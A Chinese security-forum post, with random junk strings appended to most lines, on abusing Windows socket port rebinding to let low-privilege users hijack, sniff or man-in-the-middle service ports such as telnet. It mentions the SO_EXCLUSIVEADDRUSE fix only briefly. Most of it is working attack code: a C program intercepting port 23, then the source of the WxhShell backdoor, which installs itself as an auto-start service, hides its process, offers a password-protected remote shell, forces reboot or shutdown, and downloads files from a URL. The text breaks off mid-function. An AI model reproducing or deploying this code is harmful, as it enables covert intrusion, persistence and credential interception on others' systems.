社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9287阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -0Q!:5EC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ![V<vIy  
J{1O\i  
  saddr.sin_family = AF_INET; p1D-Q7F  
!C+25vup  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Wx-{F  
Q^ F-8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ilHj%h*z  
h FjW.~B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @Ab<I  
v>e4a/  
  这意味着什么?意味着可以进行如下的攻击: G.N3R  
I2/wu(~>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3&zmy'b*:  
f2Slsl;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C1nQZtF R  
ew0 )  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U?rfE(!  
@z,'IW74V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8~I>t9Q+  
h?O-13v   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %Wu8RG}  
MdKZH\z/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ay_<?F+&  
Gm%[@7-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K0#tg^z5d  
Zsuh8t   
  #include pp-Ur?PM  
  #include 'nLv0.7*  
  #include Ga h e-%J  
  #include    Kfr?sX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E }yxF .  
  int main() q\/|nZO4  
  { jc?Hip'  
  WORD wVersionRequested; {.2C>p  
  DWORD ret; yQW\0&a$  
  WSADATA wsaData; `=>Bop)  
  BOOL val; S%4hv*_c  
  SOCKADDR_IN saddr; n/6A@C  
  SOCKADDR_IN scaddr; [|>.iH X  
  int err; msCAC*;,  
  SOCKET s; W=b5{ 6  
  SOCKET sc;  {jl4`  
  int caddsize; ^aC[Z P:  
  HANDLE mt; HC0puLt_  
  DWORD tid;   k~gQn:.Cx  
  wVersionRequested = MAKEWORD( 2, 2 ); b6i0_fOO  
  err = WSAStartup( wVersionRequested, &wsaData ); E=B9FIx~<  
  if ( err != 0 ) { COT;KC6 n  
  printf("error!WSAStartup failed!\n"); *?8Q:@:  
  return -1; b 9?w _  
  } bw[!f4~  
  saddr.sin_family = AF_INET; byMO&Lb*  
   r9%W?fEBp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _Nj;Ni2rD  
"K@os<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v ;9s  
  saddr.sin_port = htons(23); W,<Vr2J[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m&x0,8  
  { C +IXP  
  printf("error!socket failed!\n"); 'D-imLV<<  
  return -1; Nhf!;>  
  } UO&S6M]v7  
  val = TRUE; ;EJ6C#} >7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7~65@&P>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %_u3Np  
  { IFE C_F>  
  printf("error!setsockopt failed!\n"); x;SrJVDN  
  return -1; 4*54"[9Hr#  
  } B|%;(bM2C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qle\c[UM5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @fY!@xSf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wS5hXTb"  
Soa.thP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Wm A:"!~M  
  { x88$#N>Q5  
  ret=GetLastError(); 5p>a]gp  
  printf("error!bind failed!\n"); z(]*'0)P  
  return -1; %1 v)rg y  
  } N7E[wOP  
  listen(s,2); s4Wk2*7 Mq  
  while(1) 0#q_LB  
  { h{! @^Q  
  caddsize = sizeof(scaddr); mrJQB I+  
  //接受连接请求 5P! ZJ3C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m}XI?[!s  
  if(sc!=INVALID_SOCKET) XJlun l)(K  
  { Jd%#eD*k9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kgQEg)A]!x  
  if(mt==NULL) \<P W_'6  
  { 6^zv:C%  
  printf("Thread Creat Failed!\n"); LJiMtqg  
  break; )O }x&@Q  
  } Gzs x0%`)  
  } Rub""Ga  
  CloseHandle(mt); v-l):TL+=  
  } DB*IVg  
  closesocket(s); %0]&o, w{  
  WSACleanup(); [$V_qFv{  
  return 0; I8[G!u71)_  
  }   6zDJdE'Es  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y3-P*  
  { x,>=X` T  
  SOCKET ss = (SOCKET)lpParam; ="u(o(j"  
  SOCKET sc; uwIZzz  
  unsigned char buf[4096]; Sd)D-S  
  SOCKADDR_IN saddr; jeW0;Cz J~  
  long num; fer'2(G?W  
  DWORD val; Zj}, VB*T  
  DWORD ret; X{ Nif G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "NJ!A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8@r+)2  
  saddr.sin_family = AF_INET; ?>,aq>2O$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fb#Ob0H  
  saddr.sin_port = htons(23); { ~Cqb7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H7{ 6t(0j  
  { -aO3/Ik [q  
  printf("error!socket failed!\n"); $;@s  
  return -1; CSD8?k]2  
  } "ex? #qD&  
  val = 100; GoFC!nx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pa+ y(!G  
  { xLGAP-mx]  
  ret = GetLastError(); P#yS]F/  
  return -1; G U!XD!!&  
  } +J^}"dG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) } FFW,x  
  { R sujKh/  
  ret = GetLastError(); 7?A}q mv  
  return -1; 3wr~P  
  } 8en85 pp8P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W0?yPP=.  
  { J%}}( G~  
  printf("error!socket connect failed!\n"); {o]OxqE@  
  closesocket(sc); bFTWuM  
  closesocket(ss); N7jAPI@a\i  
  return -1; <:ZN  
  } z cA"\  
  while(1) B4{A(-Tc  
  { ^&,{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XjX<?W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E`'+1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ucMl>G'!gX  
  num = recv(ss,buf,4096,0); uxR_(~8  
  if(num>0) e0hT  
  send(sc,buf,num,0); mG2}JWA  
  else if(num==0) +)V6"XY-(  
  break; 3w0m:~KS6V  
  num = recv(sc,buf,4096,0); [szwPNQ_  
  if(num>0) FUHjY  
  send(ss,buf,num,0); zZDr=6|r_  
  else if(num==0) ."H5.'  
  break; 0.Iw/e  
  } Gud!(5'  
  closesocket(ss); #4|?;C)u\  
  closesocket(sc); 9,9( mbWJv  
  return 0 ; v=/V<3  
  } |g7E*1Ie  
H%/$Rqg  
^%_LA't'R  
========================================================== on(W^ocnD  
L ~  
下边附上一个代码,,WXhSHELL ?49wq4L;a  
O'p7^"M  
========================================================== &'(:xjN  
zL> nDnL 4  
#include "stdafx.h" zKI(yC  
F 6SIhf.;  
#include <stdio.h> 'T.> oP0>  
#include <string.h> kDm=Cjxv  
#include <windows.h> z~X]v["d  
#include <winsock2.h> ]{;K|rCR-  
#include <winsvc.h> ]r#tJ T`M  
#include <urlmon.h> #_H=pNWe  
.Wb),  
#pragma comment (lib, "Ws2_32.lib") Xe*  L^8+  
#pragma comment (lib, "urlmon.lib") mWigy` V^~  
'9b<r7\@  
#define MAX_USER   100 // 最大客户端连接数 3nG(z>  
#define BUF_SOCK   200 // sock buffer b9:E0/6   
#define KEY_BUFF   255 // 输入 buffer N($j;<Q  
qC]D9 A  
#define REBOOT     0   // 重启 >u6kT\|^C  
#define SHUTDOWN   1   // 关机 iedoL0#  
D@0eYX4s  
#define DEF_PORT   5000 // 监听端口 JM M\  
VNMhtwmK,  
#define REG_LEN     16   // 注册表键长度 n[{o~VN  
#define SVC_LEN     80   // NT服务名长度 D@f%&|IZ  
B]kz3FF  
// 从dll定义API m(&ZNZK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]5} =r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZM5[ o m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8^HMK$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P+]39p{  
#%x4^A9 q  
// wxhshell配置信息 b@,w/Uw[*  
struct WSCFG { !ZB|GLpo6  
  int ws_port;         // 监听端口 v1;`.PWD  
  char ws_passstr[REG_LEN]; // 口令 mjH8q&szf  
  int ws_autoins;       // 安装标记, 1=yes 0=no kH{axMNc  
  char ws_regname[REG_LEN]; // 注册表键名 _:TD{EO$  
  char ws_svcname[REG_LEN]; // 服务名 BI}>"',  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _tYt<oB~%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :yw0-]/DD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G*n5`N@>7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u(d>R5}'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;B tRDKn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }G-qOt  
psYfz)1;  
}; vL-%"*>v  
jd~r~.y  
// default Wxhshell configuration _hXadLt  
struct WSCFG wscfg={DEF_PORT, \24neD4cM@  
    "xuhuanlingzhe", g*8sh  
    1, )L^WD$"'Q  
    "Wxhshell", `33+OW  
    "Wxhshell", ,Kdvt@vle  
            "WxhShell Service", WT!%FQ9  
    "Wrsky Windows CmdShell Service", :p OX,  
    "Please Input Your Password: ", 0WQ0-~wx  
  1, om@` NW  
  "http://www.wrsky.com/wxhshell.exe", -V<i4X<|,+  
  "Wxhshell.exe" %*LdacjZ  
    }; :y]l`Mo -  
"WK.sBFz4  
// 消息定义模块 0;V2>!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U4Qc$&j>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #E*jX-JT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eZf-i1lJ  
char *msg_ws_ext="\n\rExit."; +-xA/nU.c  
char *msg_ws_end="\n\rQuit."; _Z2VS"yH  
char *msg_ws_boot="\n\rReboot..."; }Z2Y>raA\  
char *msg_ws_poff="\n\rShutdown..."; CM7j^t  
char *msg_ws_down="\n\rSave to "; `Ol*"F.+I  
Is-Kz}4L  
char *msg_ws_err="\n\rErr!"; UD"e:O_  
char *msg_ws_ok="\n\rOK!"; h/PWi<R i  
#XNe4#  
char ExeFile[MAX_PATH]; T|oz_c\e  
int nUser = 0; 9;q@;)'5  
HANDLE handles[MAX_USER]; u\>Ed9^  
int OsIsNt; ^${-^w@,%V  
011 _(v  
SERVICE_STATUS       serviceStatus; ptrLnJ|%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <y~`J`-  
|L0s  
// 函数声明 $JcU0tPq0  
int Install(void); y?Fh%%uNr  
int Uninstall(void); tpA7"JD  
int DownloadFile(char *sURL, SOCKET wsh); u5%.T0 P  
int Boot(int flag); l6)*u[}E   
void HideProc(void); i1u & -#k  
int GetOsVer(void); X%39cXM C  
int Wxhshell(SOCKET wsl); Hn:%(Rg=aW  
void TalkWithClient(void *cs); ]xV7)/b5G  
int CmdShell(SOCKET sock); :* @=px  
int StartFromService(void); } fSbH  
int StartWxhshell(LPSTR lpCmdLine); hX~IZ((Hi8  
#y2="$ V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1\_4# @')  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !MQo= k  
R1A!ob  
// 数据结构和表定义 U =T[-(:H  
SERVICE_TABLE_ENTRY DispatchTable[] = sL[,J[AN;  
{ t5[{ihv~:  
{wscfg.ws_svcname, NTServiceMain}, hm?-QVRPV  
{NULL, NULL} >.~^(  
}; Ujb|| (W  
jG8 ihi  
// 自我安装 5 LXK#+Z  
int Install(void) R '"J{oR  
{ |jc87(x <  
  char svExeFile[MAX_PATH]; AVHn7olG  
  HKEY key; 9%iqequ  
  strcpy(svExeFile,ExeFile); L,Uqt,  
~h0SD(  
// 如果是win9x系统,修改注册表设为自启动 oZP:}= F  
if(!OsIsNt) { HL*jRl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CEZ*a 0}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JF!!)6!2#  
  RegCloseKey(key);  8tLkJOu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l $MX \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e6#^4Y/+`  
  RegCloseKey(key); .2Gn)dZU  
  return 0; c tTbvXP  
    } bV`Zo(z  
  } CP/`ON  
} ef Ra|7!HK  
else { :^! wQ""  
rzY7f: '  
// 如果是NT以上系统,安装为系统服务 8`9!ocrM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L 'H1\' o  
if (schSCManager!=0) swe6AQ-  
{ CKrh14ul  
  SC_HANDLE schService = CreateService @(&ki~+   
  ( 3|g'1X}  
  schSCManager, b8Y1.y"#  
  wscfg.ws_svcname, nA5v+d-<T  
  wscfg.ws_svcdisp, 2'_Oi-&  
  SERVICE_ALL_ACCESS, d v"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |L<oKMZY  
  SERVICE_AUTO_START, \S1WF ?<,  
  SERVICE_ERROR_NORMAL, ogDyrY}]  
  svExeFile, V#C[I~l  
  NULL, t9W_ [_a9  
  NULL, R&=Y7MfZ  
  NULL, 44($a9oa2  
  NULL, N2xgyKy~  
  NULL dt^yEapjM  
  ); ATH0n>)  
  if (schService!=0) cfa#a!Y4  
  { W!V06.  
  CloseServiceHandle(schService); 9:4P7  
  CloseServiceHandle(schSCManager); h}rrsVj3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @N"h,(^  
  strcat(svExeFile,wscfg.ws_svcname); NTls64AS.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?cowey\m .  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vad(PS0  
  RegCloseKey(key); ~Og'IRf  
  return 0; IiS1ubNtZ  
    } :n{rVn}G  
  } @U:WWTzf  
  CloseServiceHandle(schSCManager); sw8Ic\vT  
} o#Rao#bD:  
} UYGl  
rh/3N8[6  
return 1; Z9 }qds6 y  
} sm4@ywd>  
 NM  
// 自我卸载 |&h!#Q{7l  
int Uninstall(void) pB h [F5  
{ J6rXb ui$  
  HKEY key; Nr6YQH*[  
rOS fDv  
if(!OsIsNt) { k;l^wM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &3S;5{7_e  
  RegDeleteValue(key,wscfg.ws_regname); Y=/HsG\W]  
  RegCloseKey(key); !\RR UH*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]oXd|[ G  
  RegDeleteValue(key,wscfg.ws_regname); mWta B>f  
  RegCloseKey(key); hFs0qPVY  
  return 0; DV]Kd 7  
  } ,TeDJ\k  
} _n Oio?  
} !f yE Hk  
else { ~)Ny8Dh  
JxNjyw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  2gb49y~  
if (schSCManager!=0) ZLxe$.V_  
{ 5H""_uw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C7eaioW$  
  if (schService!=0) IeZ}`$[H  
  { j#<#o:If  
  if(DeleteService(schService)!=0) { DZ(e^vq  
  CloseServiceHandle(schService); 73Tg{~  
  CloseServiceHandle(schSCManager); O/iew3YF  
  return 0; Xj?j1R>GB  
  } %pe7[/  
  CloseServiceHandle(schService); 0ot=BlMu  
  } {;=+#QK/  
  CloseServiceHandle(schSCManager); nLJ]tpw^DH  
} h:Npi `y  
} t.485L %  
@_h/%>0  
return 1; nYTI\f/8v  
} =r:D]?8oC  
H2p1gb#  
// 从指定url下载文件 %~ZOQ%c1  
int DownloadFile(char *sURL, SOCKET wsh) S'B7C>i`#N  
{ 'R,1Jmx  
  HRESULT hr; *.n9D  
char seps[]= "/"; T->O5t c  
char *token; Y&]pC  
char *file; Ab cmI*y  
char myURL[MAX_PATH]; ,Es5PmV@$%  
char myFILE[MAX_PATH]; I]jVnQ>&  
bmzs!fg_~R  
strcpy(myURL,sURL); ~KHp~Xs`  
  token=strtok(myURL,seps); J[RQF54qA{  
  while(token!=NULL) O9:vPbn  
  { F~)xZN3=  
    file=token; qf(!3  
  token=strtok(NULL,seps); ]ZHC*r2i  
  } x]Nq|XK  
Gk'J'9*  
GetCurrentDirectory(MAX_PATH,myFILE); ]C}z3hhk  
strcat(myFILE, "\\"); :X,1KR  
strcat(myFILE, file); g>T'R Vb  
  send(wsh,myFILE,strlen(myFILE),0); [[LCEw  
send(wsh,"...",3,0); +w%MwPC7`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MpGWt#  
  if(hr==S_OK) c R[DT04  
return 0; s:i$s")  
else (B7M*e  
return 1; /J wQ5  
! FhN(L[=j  
} gV$Lfkz  
w3fi2B&q  
// 系统电源模块 )xT_RBR  
int Boot(int flag) gMFTZQsP  
{ mVP@c&1w?  
  HANDLE hToken; \ Lrg:  
  TOKEN_PRIVILEGES tkp; 0E o*C9FP~  
57%:0loW  
  if(OsIsNt) { wvBJ?t,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7f~.Qus  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [1G4he%  
    tkp.PrivilegeCount = 1; ,d&~#W]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; li$(oA2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ag#p )  
if(flag==REBOOT) { pV<18CaJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !E4YUEY 6  
  return 0; ` ~VV1  
} l2X'4_d  
else { <Mxy&9}ic  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %dhnp9'  
  return 0; +p>tO\mo  
} AW%^Xt  
  } s{'r'`z.  
  else { vsRn \Y  
if(flag==REBOOT) { 3{]csZvW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 305()  
  return 0; l" *zr ;#  
} ;[uJ~7e3  
else { yAW%y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <t.yn\G-w  
  return 0; EO:i+e]=  
} C Rw.UC\  
} TO- [6Pq#  
"tn]s>iAd=  
return 1; p*8=($j4  
} i%:oO KI  
d+\o>x|Y!Y  
// win9x进程隐藏模块 L|u\3.:  
void HideProc(void) a>ZV'~zTf  
{ "6FZX~]s!  
ovvR{MTc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l> W?XH  
  if ( hKernel != NULL ) Cz#0Gh>1  
  { ;S7MP`o@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kL*  DU`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p?>(y  
    FreeLibrary(hKernel); 3ktjMVy\  
  } MRV4D<NQ  
v1oq[+  
return; :54ik,l  
}  zN: VT&  
N>/!e787OU  
// 获取操作系统版本 W_Z%CBjcT  
int GetOsVer(void) zgI!S6q  
{ Fw)#[  
  OSVERSIONINFO winfo; |a*VoMZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yT.h[yv"w  
  GetVersionEx(&winfo); anxg D?<+B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "3(""0Q  
  return 1;  MX2]Q  
  else >B!E 6ah  
  return 0; ? %XTD39  
} W8z4<o[$  
6!*be|<&  
// 客户端句柄模块 I 8TqK  
int Wxhshell(SOCKET wsl) Ti$G2dBO  
{ eyUguA<lK\  
  SOCKET wsh; ]V0V8fU|  
  struct sockaddr_in client; qIS9.AL  
  DWORD myID; }Go?j# !  
n=J~Rssp  
  while(nUser<MAX_USER) VHyH't_&s  
{ X'Q?Mh  
  int nSize=sizeof(client); 3`.*~qW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3q ujz)o  
  if(wsh==INVALID_SOCKET) return 1; hjf!FY*F  
 DA]<30 w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (VV5SvdE  
if(handles[nUser]==0) ;)$bhNFHx  
  closesocket(wsh); o&0fvCpW  
else ;-sZaU;  
  nUser++; FjR/_GPo6  
  } E6JfSH#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5.! OC5tO  
-<H\VT%98  
  return 0;  bi/ AQ^  
} FnxPM`Zx  
cq+G0F+H  
// 关闭 socket diHK  
void CloseIt(SOCKET wsh) K)b@,/5  
{ K</EVt,U~  
closesocket(wsh); #N Qpr  
nUser--; ]8@s+ N  
ExitThread(0); qW+'#Jh@TV  
} nilis-Bk_  
I]Ev6>=;  
// 客户端请求句柄 ]Q0m]OaT  
void TalkWithClient(void *cs) sjGy=d{:oL  
{ v z6No%8X  
4fauI%kc  
  SOCKET wsh=(SOCKET)cs; }uP`=T!"8  
  char pwd[SVC_LEN]; " GRR,7A  
  char cmd[KEY_BUFF]; YYNh| 2  
char chr[1]; bUvVt3cm  
int i,j; Z5/*i un  
rebnV&-  
  while (nUser < MAX_USER) { tV?-   
*.%z  
if(wscfg.ws_passstr) { +@], JlYf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eJbZA&:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) XCG4-1  
  //ZeroMemory(pwd,KEY_BUFF); `]~1pc  
      i=0; %#t*3[  
  while(i<SVC_LEN) { 9*~bAgkWI  
Y"H'BT!b}  
  // 设置超时 ^^,cnDlm  
  fd_set FdRead; u00w'=pe)  
  struct timeval TimeOut; Ic2Q<V}oq  
  FD_ZERO(&FdRead); /cHUqn30a  
  FD_SET(wsh,&FdRead); \k4tYL5  
  TimeOut.tv_sec=8; JuW"4R  
  TimeOut.tv_usec=0; @ TJx U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tTEw"DL_-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =csh=V@s  
H4B|c42  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F $/7X~*  
  pwd=chr[0]; f \ E9u}  
  if(chr[0]==0xd || chr[0]==0xa) { B]2m(0Y>>v  
  pwd=0; H 48YX(HI  
  break; 5Ve`j,`=<  
  } hGU  m7  
  i++; *kY JwO^  
    } TWSqn'<E  
cMs8D  
  // 如果是非法用户,关闭 socket ygK@\JHn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3vXa#f>P<  
} kB` @M>[  
e"#QUc(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); niA>afo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ($nQmr;t  
a = *'  
while(1) { Ztl?*zL  
'm=TBNQTS  
  ZeroMemory(cmd,KEY_BUFF); V8n z@  
} ~NM\rm  
      // 自动支持客户端 telnet标准   ]l7rM"  
  j=0; k"3@ G?JY  
  while(j<KEY_BUFF) { ^'%Q>FVb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r01u3!  
  cmd[j]=chr[0]; *iX PG9XZ  
  if(chr[0]==0xa || chr[0]==0xd) { 4A0v>G`E*#  
  cmd[j]=0; >sjvE4s  
  break; FuC#w 9_  
  } mzf~qV^T  
  j++; mE\)j*Nnv  
    } mzRH:HgN?  
63E)RR_Lh  
  // 下载文件 #V{!|Y'  
  if(strstr(cmd,"http://")) { M!YGv   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |A.nP9hW  
  if(DownloadFile(cmd,wsh)) dVMduo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0fGt7 "Q  
  else xX?9e3(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d>gQgQ;g  
  } r>#4Sr  
  else { frokl5L@  
2BKiA[ ;;  
    switch(cmd[0]) { kyi"U A82  
  +iqzj-e&e[  
  // 帮助 1B#iJZ}  
  case '?': { J#IVu?B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z6*r<>Bf+b  
    break; ^ Paf-/  
  } B&QEt[=s  
  // 安装 6&+}Hhe  
  case 'i': { ;Q8`5h   
    if(Install()) i>7]9gBm1q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )3f<0C>  
    else K=! C\T"I%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  :yw8_D3  
    break; "!Qi$ ]  
    } b@S~ =  
  // 卸载 D GL=\  
  case 'r': { wg+[T;0S  
    if(Uninstall()) j #~ S"t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ov<vSc<u  
    else O7]kcA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Q7^caG  
    break; U3jnH  
    } xS4?M<|L63  
  // 显示 wxhshell 所在路径 63(XCO  
  case 'p': { ]z!Df\I  
    char svExeFile[MAX_PATH]; Co,?<v=Ll  
    strcpy(svExeFile,"\n\r"); P~#LbUP(  
      strcat(svExeFile,ExeFile); b0sj0w/  
        send(wsh,svExeFile,strlen(svExeFile),0); 7g5Pc_  
    break; #_Zkke~{  
    } QFK'r\3 pU  
  // 重启 p//mV H%  
  case 'b': { 4p7j "d5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :IX,mDO  
    if(Boot(REBOOT)) DUSQh+C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1@3V/.Wu  
    else { 4k9$' k  
    closesocket(wsh); e(?1`1  
    ExitThread(0); yIf^vx_G  
